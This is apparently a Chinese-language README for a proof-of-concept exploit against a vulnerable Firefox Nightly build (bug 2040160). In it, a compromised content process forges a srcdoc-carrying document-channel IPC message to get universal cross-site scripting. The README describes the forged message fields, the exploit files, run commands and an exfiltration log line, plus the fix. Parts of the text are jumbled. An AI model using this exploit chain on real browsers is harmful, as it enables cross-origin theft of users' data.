
Firefox 内容进程→父进程 srcdoc 伪造(N-day,bug 2040160):在非 about:srcdoc URI 上伪造带 SrcdocData 的 PDocumentChannel → 攻击者 HTML 在受害者源(UXSS)下被提供,通过来自被攻陷内容进程的 mojo 端口发送路径注入实现
概念验证:一个被攻破的内容进程伪造了一个 PDocumentChannel 加载,其 nsDocShellLoadState 携带 SrcdocData 以及一个任意的 URI。存在漏洞的构建版本会将攻击者的 HTML 作为文档提供给受害者源——同源读取 + 数据外泄(UXSS)。
目标:Firefox 149.0a1 nightly @ 2fbc0748c4(存在漏洞,修复前),macOS arm64。
已在 Firefox 152 中修复——bug 2040160,提交 54dc16d08771“拒绝非 about:srcdoc URI 加载上的 srcdoc 数据”。
父进程从 content→parent IPDL 消息中反序列化 nsDocShellLoadState。存在漏洞的构造函数仅对内容触发的加载拒绝了 javascript:;SrcdocData 未经过验证。当加载状态携带 srcdoc 数据且 URI 不是 时,docshell 会构建一个输入流通道, 上提供 srcdoc HTML——并且生成的文档会获得该 URI 的源。
about:srcdoc修复在 nsDocShellLoadState IPDL 构造函数中添加了一个 FatalError,当
!mSrcdocData.IsVoid() && !mURI->SchemeIs("view-source") && !NS_IsAboutSrcdoc(mURI) 时触发,
并在 nsDocShell 和 Document::StartDocumentLoad 中添加了加固断言。
相关漏洞:CVE-2026-74939(RemoteTypeOverride)——相同的构造函数、相同的载体消息、相同的传递机制(参见 ../poc-cve-2026-74939)。此 PoC 复用了该伪造方式,但翻转了不同的字段;无需 RemoteTypeOverride。
srcdoc.html 位于 http://127.0.0.1:8778(源 A,通过 wasm-bytes.js 中的阶段一 wasm 原语被攻破)。PNecko::PDocumentChannel 构造函数:URI = http://localhost:8778/nav.html
(源 B),SrcdocData = <攻击者 HTML>,同进程 about:blank 弹窗的顶层 BrowsingContext——通过真实的 mojo 发送路径传递(operator new → IPC::Message 构造函数 → Pickle::WriteBytes →
MessageChannel::Send)。webIsolated=http://localhost,docshell 将我们的 HTML 作为源 B 上的文档提供。/secret.txt(在 B 上同源——从 A 发起的真实跨源获取会被 CORS 阻止)并将其外泄到 A。证据(./irun 之后的 /tmp/srv.log):
REQ_GET /secret.txt
REQ_GET /exfil?d=flag%7Bsrcdoc-crossed-origins-2040160%7D
| 文件 | 用途 |
|---|---|
srcdoc.html | PoC 页面,在被攻破的内容进程内运行 |
forge.py | 构建伪造消息(自验证)→ forge.bin/forge.json |
wasm-bytes.js | 阶段一原语:任意读写、funcref 调用(CVE-2026-2796) |
mdrive2.py | marionette 驱动框架,用于启动和驱动 Nightly |
irun | 插桩运行:lldb 附加到父进程 + MOZ_LOG/srv.log 证据 |
profile.user.js | Firefox 配置文件偏好(启用 fission、启用 dump) |
parse_dc.py | 捕获的 DocumentChannel 消息的字节级精确解析器 |
captured-messages/dc_1.bin | 真实捕获的消息,用作伪造模板 |
nav.html、secret.txt | 受害者页面夹具 + 演示用秘密 |
前置条件:位于 /Users/sid/gecko-2766/obj-browser 的存在漏洞的 Nightly 构建版本,
带有 psutil 的 .venv,以及在 0.0.0.0:8778 上提供此目录服务的 Web 服务器
(例如 python3 /tmp/srv.py,日志记录到 /tmp/srv.log)。
python3 forge.py # 构建 forge.bin/forge.json(自验证)
./irun # 启动 + 注入 + 收集证据
注意:发送后,内容进程可能在拆除时发生 SIGSEGV(对伪造对象进行 GC);所有证据在此之前均已发出。
54dc16d08771(MFSA 2026-57,Firefox 152)RemoteTypeOverride)